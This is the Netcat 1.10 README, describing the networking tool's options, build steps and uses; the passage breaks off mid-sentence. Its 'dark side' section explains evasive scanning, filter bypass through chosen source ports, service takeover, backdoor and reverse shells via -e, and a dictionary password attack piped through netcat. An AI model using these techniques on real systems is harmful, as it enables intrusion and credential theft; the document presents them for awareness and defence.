1274 lines
75 KiB
Plaintext
1274 lines
75 KiB
Plaintext
[Netcat rules the net ----------]
|
|
|
|
Netcat 1.10
|
|
|
|
Netcat is a simple Unix utility which reads
|
|
and writes data across network connections,
|
|
using TCP or UDP protocol. It is designed /\_/\
|
|
to be a reliable "back-end" tool that can / 0 0 \
|
|
be used directly or easily driven by other ====v====
|
|
programs and scripts. At the same time, it \ W /
|
|
is a feature-rich network debugging and | | _
|
|
exploration tool, since it can create / ___ \ /
|
|
almost any kind of connection you would / / \ \ |
|
|
need and has several interesting built-in (((-----)))-'
|
|
capabilities. Netcat, or "nc" as the actual /
|
|
program is named, should have been supplied ( ___
|
|
long ago as another one of those cryptic \__.=|___E
|
|
but standard Unix tools. /
|
|
|
|
In the simplest usage, "nc host port" creates a TCP connection to the
|
|
given port on the given target host. Your standard input is then sent
|
|
to the host, and anything that comes back across the connection is
|
|
sent to your standard output. This continues indefinitely, until the
|
|
network side of the connection shuts down. Note that this behavior is
|
|
different from most other applications which shut everything down and
|
|
exit after an end-of-file on the standard input.
|
|
|
|
Netcat can also function as a server, by listening for inbound
|
|
connections on arbitrary ports and then doing the same reading and
|
|
writing. With minor limitations, netcat doesn't really care if it runs
|
|
in "client" or "server" mode -- it still shovels data back and forth
|
|
until there isn't any more left. In either mode, shutdown can be
|
|
forced after a configurable time of inactivity on the network side.
|
|
|
|
And it can do this via UDP too, so netcat is possibly the "udp
|
|
telnet-like" application you always wanted for testing your UDP-mode
|
|
servers. UDP, as the "U" implies, gives less reliable data
|
|
transmission than TCP connections and some systems may have trouble
|
|
sending large amounts of data that way, but it's still a useful
|
|
capability to have.
|
|
|
|
You may be asking "why not just use telnet to connect to arbitrary
|
|
ports?" Valid question, and here are some reasons. Telnet has the
|
|
"standard input EOF" problem, so one must introduce calculated delays
|
|
in driving scripts to allow network output to finish. This is the main
|
|
reason netcat stays running until the *network* side closes. Telnet
|
|
also will not transfer arbitrary binary data, because certain
|
|
characters are interpreted as telnet options and are thus removed from
|
|
the data stream. Telnet also emits some of its diagnostic messages to
|
|
standard output, where netcat keeps such things religiously separated
|
|
from its *output* and will never modify any of the real data in
|
|
transit unless you *really* want it to. And of course telnet is
|
|
incapable of listening for inbound connections, or using UDP instead.
|
|
Netcat doesn't have any of these limitations, is much smaller and
|
|
faster than telnet, and has many other advantages.
|
|
|
|
Some of netcat's major features are:
|
|
|
|
* Outbound or inbound connections, TCP or UDP, to or from any ports
|
|
* Full DNS forward/reverse checking, with appropriate warnings
|
|
* Ability to use any local source port
|
|
* Ability to use any locally-configured network source address
|
|
* Built-in port-scanning capabilities, with randomizer
|
|
* Built-in loose source-routing capability
|
|
* Can read command line arguments from standard input
|
|
* Slow-send mode, one line every N seconds
|
|
* Hex dump of transmitted and received data
|
|
* Optional ability to let another program service established
|
|
connections
|
|
* Optional telnet-options responder
|
|
|
|
Efforts have been made to have netcat "do the right thing" in all its
|
|
various modes. If you believe that it is doing the wrong thing under
|
|
whatever circumstances, please notify me and tell me how you think it
|
|
should behave. If netcat is not able to do some task you think up,
|
|
minor tweaks to the code will probably fix that. It provides a basic
|
|
and easily-modified template for writing other network applications,
|
|
and I certainly encourage people to make custom mods and send in any
|
|
improvements they make to it. This is the second release; the overall
|
|
differences from 1.00 are relatively minor and have mostly to do with
|
|
portability and bugfixes. Many people provided greatly appreciated
|
|
fixes and comments on the 1.00 release. Continued feedback from the
|
|
Internet community is always welcome!
|
|
|
|
Netcat is entirely my own creation, although plenty of other code was
|
|
used as examples. It is freely given away to the Internet community in
|
|
the hope that it will be useful, with no restrictions except giving
|
|
credit where it is due. No GPLs, Berkeley copyrights or any of that
|
|
nonsense. The author assumes NO responsibility for how anyone uses it.
|
|
If netcat makes you rich somehow and you're feeling generous, mail me
|
|
a check. If you are affiliated in any way with Microsoft Network, get
|
|
a life. Always ski in control. Comments, questions, and patches to
|
|
hobbit@avian.org.
|
|
|
|
Building
|
|
|
|
Compiling is fairly straightforward. Examine the Makefile for a
|
|
SYSTYPE that matches yours, and do "make ". The executable "nc" should
|
|
appear. If there is no relevant SYSTYPE section, try "generic". If you
|
|
create new sections for generic.h and Makefile to support another
|
|
platform, please follow the given format and mail back the diffs.
|
|
|
|
There are a couple of other settable #defines in netcat.c, which you
|
|
can include as DFLAGS="-DTHIS -DTHAT" to your "make" invocation
|
|
without having to edit the Makefile. See the following discussions for
|
|
what they are and do.
|
|
|
|
If you want to link against the resolver library on SunOS
|
|
[recommended] and you have BIND 4.9.x, you may need to change
|
|
XLIBS=-lresolv in the Makefile to XLIBS="-lresolv -l44bsd".
|
|
|
|
Linux sys/time.h does not really support presetting of FD_SETSIZE; a
|
|
harmless warning is issued.
|
|
|
|
Some systems may warn about pointer types for signal(). No problem,
|
|
though.
|
|
|
|
Exploration of features
|
|
|
|
Where to begin? Netcat is at the same time so simple and versatile,
|
|
it's like trying to describe everything you can do with your Swiss
|
|
Army knife. This will go over the basics; you should also read the
|
|
usage examples and notes later on which may give you even more ideas
|
|
about what this sort of tool is good for.
|
|
|
|
If no command arguments are given at all, netcat asks for them, reads
|
|
a line from standard input, and breaks it up into arguments
|
|
internally. This can be useful when driving netcat from certain types
|
|
of scripts, with the side effect of hiding your command line arguments
|
|
from "ps" displays.
|
|
|
|
The host argument can be a name or IP address. If -n is specified,
|
|
netcat will only accept numeric IP addresses and do no DNS lookups for
|
|
anything. If -n is not given and -v is turned on, netcat will do a
|
|
full forward and reverse name and address lookup for the host, and
|
|
warn you about the all-too-common problem of mismatched names in the
|
|
DNS. This often takes a little longer for connection setup, but is
|
|
useful to know about. There are circumstances under which this can
|
|
*save* time, such as when you want to know the name for some IP
|
|
address and also connect there. Netcat will just tell you all about
|
|
it, saving the manual steps of looking up the hostname yourself.
|
|
Normally mismatch- checking is case-insensitive per the DNS spec, but
|
|
you can define ANAL at compile time to make it case-sensitive --
|
|
sometimes useful for uncovering minor errors in your own DNS files
|
|
while poking around your networks.
|
|
|
|
A port argument is required for outbound connections, and can be
|
|
numeric or a name as listed in /etc/services. If -n is specified, only
|
|
numeric arguments are valid. Special syntax and/or more than one port
|
|
argument cause different behavior -- see details below about
|
|
port-scanning.
|
|
|
|
The -v switch controls the verbosity level of messages sent to
|
|
standard error. You will probably want to run netcat most of the time
|
|
with -v turned on, so you can see info about the connections it is
|
|
trying to make. You will probably also want to give a smallish -w
|
|
argument, which limits the time spent trying to make a connection. I
|
|
usually alias "nc" to "nc -v -w 3", which makes it function just about
|
|
the same for things I would otherwise use telnet to do. The timeout is
|
|
easily changed by a subsequent -w argument which overrides the earlier
|
|
one. Specifying -v more than once makes diagnostic output MORE
|
|
verbose. If -v is not specified at all, netcat silently does its work
|
|
unless some error happens, whereupon it describes the error and exits
|
|
with a nonzero status. Refused network connections are generally NOT
|
|
considered to be errors, unless you only asked for a single TCP port
|
|
and it was refused.
|
|
|
|
Note that -w also sets the network inactivity timeout. This does not
|
|
have any effect until standard input closes, but then if nothing
|
|
further arrives from the network in the next seconds, netcat tries to
|
|
read the net once more for good measure, and then closes and exits.
|
|
There are a lot of network services now that accept a small amount of
|
|
input and return a large amount of output, such as Gopher and Web
|
|
servers, which is the main reason netcat was written to "block" on the
|
|
network staying open rather than standard input. Handling the timeout
|
|
this way gives uniform behavior with network servers that *don't*
|
|
close by themselves until told to.
|
|
|
|
UDP connections are opened instead of TCP when -u is specified. These
|
|
aren't really "connections" per se since UDP is a connectionless
|
|
protocol, although netcat does internally use the "connected UDP
|
|
socket" mechanism that most kernels support. Although netcat claims
|
|
that an outgoing UDP connection is "open" immediately, no data is sent
|
|
until something is read from standard input. Only thereafter is it
|
|
possible to determine whether there really is a UDP server on the
|
|
other end, and often you just can't tell. Most UDP protocols use
|
|
timeouts and retries to do their thing and in many cases won't bother
|
|
answering at all, so you should specify a timeout and hope for the
|
|
best. You will get more out of UDP connections if standard input is
|
|
fed from a source of data that looks like various kinds of server
|
|
requests.
|
|
|
|
To obtain a hex dump file of the data sent either way, use "-o
|
|
logfile". The dump lines begin with "<" or ">" to respectively
|
|
indicate "from the net" or "to the net", and contain the total count
|
|
per direction, and hex and ascii representations of the traffic.
|
|
Capturing a hex dump naturally slows netcat down a bit, so don't use
|
|
it where speed is critical.
|
|
|
|
Netcat can bind to any local port, subject to privilege restrictions
|
|
and ports that are already in use. It is also possible to use a
|
|
specific local network source address if it is that of a network
|
|
interface on your machine. [Note: this does not work correctly on all
|
|
platforms.] Use "-p portarg" to grab a specific local port, and "-s
|
|
ip-addr" or "-s name" to have that be your source IP address. This is
|
|
often referred to as "anchoring the socket". Root users can grab any
|
|
unused source port including the "reserved" ones less than 1024.
|
|
Absence of -p will bind to whatever unused port the system gives you,
|
|
just like any other normal client connection, unless you use -r [see
|
|
below].
|
|
|
|
Listen mode will cause netcat to wait for an inbound connection, and
|
|
then the same data transfer happens. Thus, you can do "nc -l -p 1234 <
|
|
filename" and when someone else connects to your port 1234, the file
|
|
is sent to them whether they wanted it or not. Listen mode is
|
|
generally used along with a local port argument -- this is required
|
|
for UDP mode, while TCP mode can have the system assign one and tell
|
|
you what it is if -v is turned on. If you specify a target host and
|
|
optional port in listen mode, netcat will accept an inbound connection
|
|
only from that host and if you specify one, only from that foreign
|
|
source port. In verbose mode you'll be informed about the inbound
|
|
connection, including what address and port it came from, and since
|
|
listening on "any" applies to several possibilities, which address it
|
|
came *to* on your end. If the system supports IP socket options,
|
|
netcat will attempt to retrieve any such options from an inbound
|
|
connection and print them out in hex.
|
|
|
|
If netcat is compiled with -DGAPING_SECURITY_HOLE, the -e argument
|
|
specifies a program to exec after making or receiving a successful
|
|
connection. In the listening mode, this works similarly to "inetd" but
|
|
only for a single instance. Use with GREAT CARE. This piece of the
|
|
code is normally not enabled; if you know what you're doing, have fun.
|
|
This hack also works in UDP mode. Note that you can only supply -e
|
|
with the name of the program, but no arguments. If you want to launch
|
|
something with an argument list, write a two-line wrapper script or
|
|
just use inetd like always.
|
|
|
|
If netcat is compiled with -DTELNET, the -t argument enables it to
|
|
respond to telnet option negotiation [always in the negative, i.e.
|
|
DONT or WONT]. This allows it to connect to a telnetd and get past the
|
|
initial negotiation far enough to get a login prompt from the server.
|
|
Since this feature has the potential to modify the data stream, it is
|
|
not enabled by default. You have to understand why you might need this
|
|
and turn on the #define yourself.
|
|
|
|
Data from the network connection is always delivered to standard
|
|
output as efficiently as possible, using large 8K reads and writes.
|
|
Standard input is normally sent to the net the same way, but the -i
|
|
switch specifies an "interval time" which slows this down
|
|
considerably. Standard input is still read in large batches, but
|
|
netcat then tries to find where line breaks exist and sends one line
|
|
every interval time. Note that if standard input is a terminal, data
|
|
is already read line by line, so unless you make the -i interval
|
|
rather long, what you type will go out at a fairly normal rate. -i is
|
|
really designed for use when you want to "measure out" what is read
|
|
from files or pipes.
|
|
|
|
Port-scanning is a popular method for exploring what's out there.
|
|
Netcat accepts its commands with options first, then the target host,
|
|
and everything thereafter is interpreted as port names or numbers, or
|
|
ranges of ports in M-N syntax. CAVEAT: some port names in
|
|
/etc/services contain hyphens -- netcat currently will not correctly
|
|
parse those, so specify ranges using numbers if you can. If more than
|
|
one port is thus specified, netcat connects to *all* of them, sending
|
|
the same batch of data from standard input [up to 8K worth] to each
|
|
one that is successfully connected to. Specifying multiple ports also
|
|
suppresses diagnostic messages about refused connections, unless -v is
|
|
specified twice for "more verbosity". This way you normally get
|
|
notified only about genuinely open connections. Example: "nc -v -w 2
|
|
-z target 20-30" will try connecting to every port between 20 and 30
|
|
[inclusive] at the target, and will likely inform you about an FTP
|
|
server, telnet server, and mailer along the way. The -z switch
|
|
prevents sending any data to a TCP connection and very limited probe
|
|
data to a UDP connection, and is thus useful as a fast scanning mode
|
|
just to see what ports the target is listening on. To limit scanning
|
|
speed if desired, -i will insert a delay between each port probe.
|
|
There are some pitfalls with regard to UDP scanning, described later,
|
|
but in general it works well.
|
|
|
|
For each range of ports specified, scanning is normally done downward
|
|
within that range. If the -r switch is used, scanning hops randomly
|
|
around within that range and reports open ports as it finds them. [If
|
|
you want them listed in order regardless, pipe standard error through
|
|
"sort"...] In addition, if random mode is in effect, the local source
|
|
ports are also randomized. This prevents netcat from exhibiting any
|
|
kind of regular pattern in its scanning. You can exert fairly fine
|
|
control over your scan by judicious use of -r and selected port ranges
|
|
to cover. If you use -r for a single connection, the source port will
|
|
have a random value above 8192, rather than the next one the kernel
|
|
would have assigned you. Note that selecting a specific local port
|
|
with -p overrides any local-port randomization.
|
|
|
|
Many people are interested in testing network connectivity using IP
|
|
source routing, even if it's only to make sure their own firewalls are
|
|
blocking source-routed packets. On systems that support it, the -g
|
|
switch can be used multiple times [up to 8] to construct a
|
|
loose-source-routed path for your connection, and the -G argument
|
|
positions the "hop pointer" within the list. If your network allows
|
|
source-routed traffic in and out, you can test connectivity to your
|
|
own services via remote points in the internet. Note that although
|
|
newer BSD-flavor telnets also have source-routing capability, it isn't
|
|
clearly documented and the command syntax is somewhat clumsy. Netcat's
|
|
handling of "-g" is modeled after "traceroute".
|
|
|
|
Netcat tries its best to behave just like "cat". It currently does
|
|
nothing to terminal input modes, and does no end-of-line conversion.
|
|
Standard input from a terminal is read line by line with normal
|
|
editing characters in effect. You can freely suspend out of an
|
|
interactive connection and resume. ^C or whatever your interrupt
|
|
character is will make netcat close the network connection and exit. A
|
|
switch to place the terminal in raw mode has been considered, but so
|
|
far has not been necessary. You can send raw binary data by reading it
|
|
out of a file or piping from another program, so more meaningful
|
|
effort would be spent writing an appropriate front-end driver.
|
|
|
|
Netcat is not an "arbitrary packet generator", but the ability to talk
|
|
to raw sockets and/or nit/bpf/dlpi may appear at some point. Such
|
|
things are clearly useful; I refer you to Darren Reed's excellent
|
|
ip_filter package, which now includes a tool to construct and send raw
|
|
packets with any contents you want.
|
|
|
|
Example uses -- the light side
|
|
|
|
Again, this is a very partial list of possibilities, but it may get
|
|
you to think up more applications for netcat. Driving netcat with
|
|
simple shell or expect scripts is an easy and flexible way to do
|
|
fairly complex tasks, especially if you're not into coding network
|
|
tools in C. My coding isn't particularly strong either [although
|
|
undoubtedly better after writing this thing!], so I tend to construct
|
|
bare-metal tools like this that I can trivially plug into other
|
|
applications. Netcat doubles as a teaching tool -- one can learn a
|
|
great deal about more complex network protocols by trying to simulate
|
|
them through raw connections!
|
|
|
|
An example of netcat as a backend for something else is the
|
|
shell-script Web browser, which simply asks for the relevant parts of
|
|
a URL and pipes "GET /what/ever" into a netcat connection to the
|
|
server. I used to do this with telnet, and had to use calculated sleep
|
|
times and other stupidity to kludge around telnet's limitations.
|
|
Netcat guarantees that I get the whole page, and since it transfers
|
|
all the data unmodified, I can even pull down binary image files and
|
|
display them elsewhere later. Some folks may find the idea of a
|
|
shell-script web browser silly and strange, but it starts up and gets
|
|
me my info a hell of a lot faster than a GUI browser and doesn't hide
|
|
any contents of links and forms and such. This is included, as
|
|
scripts/web, along with several other web-related examples.
|
|
|
|
Netcat is an obvious replacement for telnet as a tool for talking to
|
|
daemons. For example, it is easier to type "nc host 25", talk to
|
|
someone's mailer, and just ^C out than having to type ^]c or QUIT as
|
|
telnet would require you to do. You can quickly catalog the services
|
|
on your network by telling netcat to connect to well-known services
|
|
and collect greetings, or at least scan for open ports. You'll
|
|
probably want to collect netcat's diagnostic messages in your output
|
|
files, so be sure to include standard error in the output using `>&
|
|
file' in *csh or `> file 2>&1' in bourne shell.
|
|
|
|
A scanning example: "echo QUIT | nc -v -w 5 target 20-250 500-600
|
|
5990-7000" will inform you about a target's various well-known TCP
|
|
servers, including r-services, X, IRC, and maybe a few you didn't
|
|
expect. Sending in QUIT and using the timeout will almost guarantee
|
|
that you see some kind of greeting or error from each service, which
|
|
usually indicates what it is and what version. [Beware of the
|
|
"chargen" port, though...] SATAN uses exactly this technique to
|
|
collect host information, and indeed some of the ideas herein were
|
|
taken from the SATAN backend tools. If you script this up to try every
|
|
host in your subnet space and just let it run, you will not only see
|
|
all the services, you'll find out about hosts that aren't correctly
|
|
listed in your DNS. Then you can compare new snapshots against old
|
|
snapshots to see changes. For going after particular services, a more
|
|
intrusive example is in scripts/probe.
|
|
|
|
Netcat can be used as a simple data transfer agent, and it doesn't
|
|
really matter which end is the listener and which end is the client --
|
|
input at one side arrives at the other side as output. It is helpful
|
|
to start the listener at the receiving side with no timeout specified,
|
|
and then give the sending side a small timeout. That way the listener
|
|
stays listening until you contact it, and after data stops flowing the
|
|
client will time out, shut down, and take the listener with it. Unless
|
|
the intervening network is fraught with problems, this should be
|
|
completely reliable, and you can always increase the timeout. A
|
|
typical example of something "rsh" is often used for: on one side,
|
|
|
|
nc -l -p 1234 | uncompress -c | tar xvfp -
|
|
|
|
and then on the other side
|
|
|
|
tar cfp - /some/dir | compress -c | nc -w 3 othermachine 1234
|
|
|
|
will transfer the contents of a directory from one machine to another,
|
|
without having to worry about .rhosts files, user accounts, or inetd
|
|
configurations at either end. Again, it matters not which is the
|
|
listener or receiver; the "tarring" machine could just as easily be
|
|
running the listener instead. One could conceivably use a scheme like
|
|
this for backups, by having cron-jobs fire up listeners and backup
|
|
handlers [which can be restricted to specific addresses and ports
|
|
between each other] and pipe "dump" or "tar" on one machine to "dd
|
|
of=/dev/tapedrive" on another as usual. Since netcat returns a nonzero
|
|
exit status for a denied listener connection, scripts to handle such
|
|
tasks could easily log and reject connect attempts from third parties,
|
|
and then retry.
|
|
|
|
Another simple data-transfer example: shipping things to a PC that
|
|
doesn't have any network applications yet except a TCP stack and a web
|
|
browser. Point the browser at an arbitrary port on a Unix server by
|
|
telling it to download something like http://unixbox:4444/foo, and
|
|
have a listener on the Unix side ready to ship out a file when the
|
|
connect comes in. The browser may pervert binary data when told to
|
|
save the URL, but you can dig the raw data out of the on-disk cache.
|
|
|
|
If you build netcat with GAPING_SECURITY_HOLE defined, you can use it
|
|
as an "inetd" substitute to test experimental network servers that
|
|
would otherwise run under "inetd". A script or program will have its
|
|
input and output hooked to the network the same way, perhaps sans some
|
|
fancier signal handling. Given that most network services do not bind
|
|
to a particular local address, whether they are under "inetd" or not,
|
|
it is possible for netcat avoid the "address already in use" error by
|
|
binding to a specific address. This lets you [as root, for low ports]
|
|
place netcat "in the way" of a standard service, since inbound
|
|
connections are generally sent to such specifically-bound listeners
|
|
first and fall back to the ones bound to "any". This allows for a
|
|
one-off experimental simulation of some service, without having to
|
|
screw around with inetd.conf. Running with -v turned on and collecting
|
|
a connection log from standard error is recommended.
|
|
|
|
Netcat as well can make an outbound connection and then run a program
|
|
or script on the originating end, with input and output connected to
|
|
the same network port. This "inverse inetd" capability could enhance
|
|
the backup-server concept described above or help facilitate things
|
|
such as a "network dialback" concept. The possibilities are many and
|
|
varied here; if such things are intended as security mechanisms, it
|
|
may be best to modify netcat specifically for the purpose instead of
|
|
wrapping such functions in scripts. Speaking of inetd, netcat will
|
|
function perfectly well *under* inetd as a TCP connection redirector
|
|
for inbound services, like a "plug-gw" without the authentication
|
|
step. This is very useful for doing stuff like redirecting traffic
|
|
through your firewall out to other places like web servers and mail
|
|
hubs, while posing no risk to the firewall machine itself. Put netcat
|
|
behind inetd and tcp_wrappers, perhaps thusly:
|
|
|
|
www stream tcp nowait nobody /etc/tcpd /bin/nc -w 3 realwww 80
|
|
|
|
and you have a simple and effective "application relay" with access
|
|
control and logging. Note use of the wait time as a "safety" in case
|
|
realwww isn't reachable or the calling user aborts the connection --
|
|
otherwise the relay may hang there forever.
|
|
|
|
You can use netcat to generate huge amounts of useless network data
|
|
for various performance testing. For example, doing
|
|
|
|
yes AAAAAAAAAAAAAAAAAAAAAA | nc -v -v -l -p 2222 > /dev/null
|
|
|
|
on one side and then hitting it with
|
|
|
|
yes BBBBBBBBBBBBBBBBBBBBBB | nc othermachine 2222 > /dev/null
|
|
|
|
from another host will saturate your wires with A's and B's. The "very
|
|
verbose" switch usage will tell you how many of each were sent and
|
|
received after you interrupt either side. Using UDP mode produces
|
|
tremendously MORE trash per unit time in the form of fragmented 8
|
|
Kbyte mobygrams -- enough to stress-test kernels and network
|
|
interfaces. Firing random binary data into various network servers may
|
|
help expose bugs in their input handling, which nowadays is a popular
|
|
thing to explore. A simple example data-generator is given in
|
|
data/data.c included in this package, along with a small collection of
|
|
canned input files to generate various packet contents. This program
|
|
is documented in its beginning comments, but of interest here is using
|
|
"%r" to generate random bytes at well-chosen points in a data stream.
|
|
If you can crash your daemon, you likely have a security problem.
|
|
|
|
The hex dump feature may be useful for debugging odd network
|
|
protocols, especially if you don't have any network monitoring
|
|
equipment handy or aren't root where you'd need to run "tcpdump" or
|
|
something. Bind a listening netcat to a local port, and have it run a
|
|
script which in turn runs another netcat to the real service and
|
|
captures the hex dump to a log file. This sets up a transparent relay
|
|
between your local port and wherever the real service is. Be sure that
|
|
the script-run netcat does *not* use -v, or the extra info it sends to
|
|
standard error may confuse the protocol. Note also that you cannot
|
|
have the "listen/exec" netcat do the data capture, since once the
|
|
connection arrives it is no longer netcat that is running.
|
|
|
|
Binding to an arbitrary local port allows you to simulate things like
|
|
r-service clients, if you are root locally. For example, feeding
|
|
"^@root^@joe^@pwd^@" [where ^@ is a null, and root/joe could be any
|
|
other local/remote username pair] into a "rsh" or "rlogin" server,
|
|
FROM your port 1023 for example, duplicates what the server expects to
|
|
receive. Thus, you can test for insecure .rhosts files around your
|
|
network without having to create new user accounts on your client
|
|
machine. The program data/rservice.c can aid this process by
|
|
constructing the "rcmd" protocol bytes. Doing this also prevents
|
|
"rshd" from trying to create that separate standard-error socket and
|
|
still gives you an input path, as opposed to the usual action of "rsh
|
|
-n". Using netcat for things like this can be really useful sometimes,
|
|
because rsh and rlogin generally want a host *name* as an argument and
|
|
won't accept IP addresses. If your client-end DNS is hosed, as may be
|
|
true when you're trying to extract backup sets on to a dumb client,
|
|
"netcat -n" wins where normal rsh/rlogin is useless.
|
|
|
|
If you are unsure that a remote syslogger is working, test it with
|
|
netcat. Make a UDP connection to port 514 and type in "<0>message",
|
|
which should correspond to "kern.emerg" and cause syslogd to scream
|
|
into every file it has open [and possibly all over users' terminals].
|
|
You can tame this down by using a different number and use netcat
|
|
inside routine scripts to send syslog messages to places that aren't
|
|
configured in syslog.conf. For example, "echo '<38>message' | nc -w 1
|
|
-u loggerhost 514" should send to auth.notice on loggerhost. The exact
|
|
number may vary; check against your syslog.h first.
|
|
|
|
Netcat provides several ways for you to test your own packet filters.
|
|
If you bind to a port normally protected against outside access and
|
|
make a connection to somewhere outside your own network, the return
|
|
traffic will be coming to your chosen port from the "outside" and
|
|
should be blocked. TCP may get through if your filter passes all "ack
|
|
syn", but it shouldn't be even doing that to low ports on your
|
|
network. Remember to test with UDP traffic as well! If your filter
|
|
passes at least outbound source-routed IP packets, bouncing a
|
|
connection back to yourself via some gateway outside your network will
|
|
create "incoming" traffic with your source address, which should get
|
|
dropped by a correctly configured anti-spoofing filter. This is a
|
|
"non-test" if you're also dropping source-routing, but it's good to be
|
|
able to test for that too. Any packet filter worth its salt will be
|
|
blocking source-routed packets in both directions, but you never know
|
|
what interesting quirks you might turn up by playing around with
|
|
source ports and addresses and watching the wires with a network
|
|
monitor.
|
|
|
|
You can use netcat to protect your own workstation's X server against
|
|
outside access. X is stupid enough to listen for connections on "any"
|
|
and never tell you when new connections arrive, which is one reason it
|
|
is so vulnerable. Once you have all your various X windows up and
|
|
running you can use netcat to bind just to your ethernet address and
|
|
listen to port 6000. Any new connections from outside the machine will
|
|
hit netcat instead your X server, and you get a log of who's trying.
|
|
You can either tell netcat to drop the connection, or perhaps run
|
|
another copy of itself to relay to your actual X server on
|
|
"localhost". This may not work for dedicated X terminals, but it may
|
|
be possible to authorize your X terminal only for its boot server, and
|
|
run a relay netcat over on the server that will in turn talk to your X
|
|
terminal. Since netcat only handles one listening connection per run,
|
|
make sure that whatever way you rig it causes another one to run and
|
|
listen on 6000 soon afterward, or your real X server will be reachable
|
|
once again. A very minimal script just to protect yourself could be
|
|
|
|
while true ; do
|
|
nc -v -l -s -p 6000 localhost 2
|
|
done
|
|
|
|
which causes netcat to accept and then close any inbound connection to
|
|
your workstation's normal ethernet address, and another copy is
|
|
immediately run by the script. Send standard error to a file for a log
|
|
of connection attempts. If your system can't do the "specific bind"
|
|
thing all is not lost; run your X server on display ":1" or port 6001,
|
|
and netcat can still function as a probe alarm by listening on 6000.
|
|
|
|
Does your shell-account provider allow personal Web pages, but not CGI
|
|
scripts? You can have netcat listen on a particular port to execute a
|
|
program or script of your choosing, and then just point to the port
|
|
with a URL in your homepage. The listener could even exist on a
|
|
completely different machine, avoiding the potential ire of the
|
|
homepage-host administrators. Since the script will get the raw
|
|
browser query as input it won't look like a typical CGI script, and
|
|
since it's running under your UID you need to write it carefully. You
|
|
may want to write a netcat-based script as a wrapper that reads a
|
|
query and sets up environment variables for a regular CGI script. The
|
|
possibilities for using netcat and scripts to handle Web stuff are
|
|
almost endless. Again, see the examples under scripts/.
|
|
|
|
Example uses -- the dark side
|
|
|
|
Equal time is deserved here, since a versatile tool like this can be
|
|
useful to any Shade of Hat. I could use my Victorinox to either fix
|
|
your car or disassemble it, right? You can clearly use something like
|
|
netcat to attack or defend -- I don't try to govern anyone's social
|
|
outlook, I just build tools. Regardless of your intentions, you should
|
|
still be aware of these threats to your own systems.
|
|
|
|
The first obvious thing is scanning someone *else's* network for
|
|
vulnerable services. Files containing preconstructed data, be it
|
|
exploratory or exploitive, can be fed in as standard input, including
|
|
command-line arguments to netcat itself to keep "ps" ignorant of your
|
|
doings. The more random the scanning, the less likelihood of detection
|
|
by humans, scan-detectors, or dynamic filtering, and with -i you'll
|
|
wait longer but avoid loading down the target's network. Some examples
|
|
for crafting various standard UDP probes are given in data/*.d.
|
|
|
|
Some configurations of packet filters attempt to solve the FTP-data
|
|
problem by just allowing such connections from the outside. These come
|
|
FROM port 20, TO high TCP ports inside -- if you locally bind to port
|
|
20, you may find yourself able to bypass filtering in some cases.
|
|
Maybe not to low ports "inside", but perhaps to TCP NFS servers, X
|
|
servers, Prospero, ciscos that listen on 200x and 400x... Similar
|
|
bypassing may be possible for UDP [and maybe TCP too] if a connection
|
|
comes from port 53; a filter may assume it's a nameserver response.
|
|
|
|
Using -e in conjunction with binding to a specific address can enable
|
|
"server takeover" by getting in ahead of the real ones, whereupon you
|
|
can snarf data sent in and feed your own back out. At the very least
|
|
you can log a hex dump of someone else's session. If you are root, you
|
|
can certainly use -s and -e to run various hacked daemons without
|
|
having to touch inetd.conf or the real daemons themselves. You may not
|
|
always have the root access to deal with low ports, but what if you
|
|
are on a machine that also happens to be an NFS server? You might be
|
|
able to collect some interesting things from port 2049, including
|
|
local file handles. There are several other servers that run on high
|
|
ports that are likely candidates for takeover, including many of the
|
|
RPC services on some platforms [yppasswdd, anyone?]. Kerberos tickets,
|
|
X cookies, and IRC traffic also come to mind. RADIUS-based terminal
|
|
servers connect incoming users to shell-account machines on a high
|
|
port, usually 1642 or thereabouts. SOCKS servers run on 1080. Do
|
|
"netstat -a" and get creative.
|
|
|
|
There are some daemons that are well-written enough to bind separately
|
|
to all the local interfaces, possibly with an eye toward heading off
|
|
this sort of problem. Named from recent BIND releases, and NTP, are
|
|
two that come to mind. Netstat will show these listening on address.53
|
|
instead of *.53. You won't be able to get in front of these on any of
|
|
the real interface addresses, which of course is especially
|
|
interesting in the case of named, but these servers sometimes forget
|
|
about things like "alias" interface addresses or interfaces that
|
|
appear later on such as dynamic PPP links. There are some hacked web
|
|
servers and versions of "inetd" floating around that specifically bind
|
|
as well, based on a configuration file -- these generally *are* bound
|
|
to alias addresses to offer several different address-based services
|
|
from one machine.
|
|
|
|
Using -e to start a remote backdoor shell is another obvious sort of
|
|
thing, easier than constructing a file for inetd to listen on
|
|
"ingreslock" or something, and you can access-control it against other
|
|
people by specifying a client host and port. Experience with this
|
|
truly demonstrates how fragile the barrier between being "logged in"
|
|
or not really is, and is further expressed by scripts/bsh. If you're
|
|
already behind a firewall, it may be easier to make an *outbound*
|
|
connection and then run a shell; a small wrapper script can
|
|
periodically try connecting to a known place and port, you can later
|
|
listen there until the inbound connection arrives, and there's your
|
|
shell. Running a shell via UDP has several interesting features,
|
|
although be aware that once "connected", the UDP stub sockets tend to
|
|
show up in "netstat" just like TCP connections and may not be quite as
|
|
subtle as you wanted. Packets may also be lost, so use TCP if you need
|
|
reliable connections. But since UDP is connectionless, a hookup of
|
|
this sort will stick around almost forever, even if you ^C out of
|
|
netcat or do a reboot on your side, and you only need to remember the
|
|
ports you used on both ends to reestablish. And outbound UDP-plus-exec
|
|
connection creates the connected socket and starts the program
|
|
immediately. On a listening UDP connection, the socket is created once
|
|
a first packet is received. In either case, though, such a
|
|
"connection" has the interesting side effect that only your
|
|
client-side IP address and [chosen?] source port will thereafter be
|
|
able to talk to it. Instant access control! A non-local third party
|
|
would have to do ALL of the following to take over such a session:
|
|
|
|
* forge UDP with your source address [trivial to do; see below]
|
|
* guess the port numbers of BOTH ends, or sniff the wire for them
|
|
* arrange to block ICMP or UDP return traffic between it and your
|
|
real
|
|
* source, so the session doesn't die with a network write error.
|
|
|
|
The companion program data/rservice.c is helpful in scripting up any
|
|
sort of r-service username or password guessing attack. The arguments
|
|
to "rservice" are simply the strings that get null-terminated and
|
|
passed over an "rcmd"-style connection, with the assumption that the
|
|
client does not need a separate standard-error port. Brute-force
|
|
password banging is best done via "rexec" if it is available since it
|
|
is less likely to log failed attempts. Thus, doing "rservice joe
|
|
joespass pwd | nc target exec" should return joe's home dir if the
|
|
password is right, or "Permission denied." Plug in a dictionary and go
|
|
to town. If you're attacking rsh/rlogin, remember to be root and bind
|
|
to a port between 512 and 1023 on your end, and pipe in "rservice joe
|
|
joe pwd" and such.
|
|
|
|
Netcat can prevent inadvertently sending extra information over a
|
|
telnet connection. Use "nc -t" in place of telnet, and daemons that
|
